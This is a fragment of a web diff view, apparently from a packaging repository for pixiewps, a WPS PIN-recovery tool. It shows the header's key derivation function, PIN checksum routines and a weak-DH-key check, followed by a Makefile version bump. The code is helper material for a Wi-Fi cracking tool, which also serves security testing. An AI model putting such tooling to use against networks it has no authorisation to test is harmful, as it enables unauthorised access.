0x57,0x69,0x2D,0x46, 0x69,0x20,0x45,0x61, 0x73,0x79,0x20,0x61, 0x6E,0x64,0x20,0x53,
|
||||||
|
0x65,0x63,0x75,0x72, 0x65,0x20,0x4B,0x65, 0x79,0x20,0x44,0x65, 0x72,0x69,0x76,0x61,
|
||||||
|
0x74,0x69,0x6F,0x6E
|
||||||
|
};
|
||||||
|
|
||||||
|
/* Key Derivation Function */
|
||||||
|
void kdf(const void *key, uint8_t *res) {
|
||||||
|
const uint32_t kdk_len = (WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN) * 8;
|
||||||
|
uint_fast8_t j = 0;
|
||||||
|
|
||||||
|
uint8_t *buffer = malloc(sizeof(kdf_salt) + sizeof(uint32_t) * 2);
|
||||||
|
|
||||||
|
for (uint32_t i = 1; i < 4; i++) {
|
||||||
|
uint32_t be = h32_to_be(i);
|
||||||
|
memcpy(buffer, &be, sizeof(uint32_t));
|
||||||
|
memcpy(buffer + sizeof(uint32_t), kdf_salt, sizeof(kdf_salt));
|
||||||
|
be = h32_to_be(kdk_len);
|
||||||
|
memcpy(buffer + sizeof(uint32_t) + sizeof(kdf_salt), &be, sizeof(uint32_t));
|
||||||
|
hmac_sha256(key, WPS_HASH_LEN, buffer, sizeof(kdf_salt) + sizeof(uint32_t) * 2, res + j);
|
||||||
|
j += WPS_HASH_LEN;
|
||||||
|
}
|
||||||
|
free(buffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Pin checksum computing */
|
||||||
|
inline uint_fast8_t wps_pin_checksum(uint_fast32_t pin) {
|
||||||
|
unsigned int acc = 0;
|
||||||
|
while (pin) {
|
||||||
|
acc += 3 * (pin % 10);
|
||||||
|
pin /= 10;
|
||||||
|
acc += pin % 10;
|
||||||
|
pin /= 10;
|
||||||
|
}
|
||||||
|
return (10 - acc % 10) % 10;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Validity PIN control based on checksum */
|
||||||
|
inline uint_fast8_t wps_pin_valid(uint_fast32_t pin) {
|
||||||
|
return wps_pin_checksum(pin / 10) == (pin % 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Checks if PKe == 2 */
|
||||||
|
inline uint_fast8_t check_small_dh_keys(const uint8_t *data) {
|
||||||
|
uint_fast8_t i = WPS_PKEY_LEN - 2;
|
||||||
|
while (--i) {
|
||||||
|
if (data[i] != 0)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
i = (i == 0 && data[WPS_PKEY_LEN - 1] == 0x02) ? 1 : 0;
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* WPS_H */
|
@ -1,4 +1,4 @@
|
|||||||
PKG_NAME:=pixiewps
|
PKG_NAME:=pixiewps
|
||||||
PKG_VERSION:=1.1
|
PKG_VERSION:=1.2
|
||||||
PKG_RELEASE:=2
|
PKG_RELEASE:=1
|
||||||
PKG_LICENSE:=GPL-3.0+
|
PKG_LICENSE:=GPL-3.0
|
||||||
|
Loading…
x
Reference in New Issue
Block a user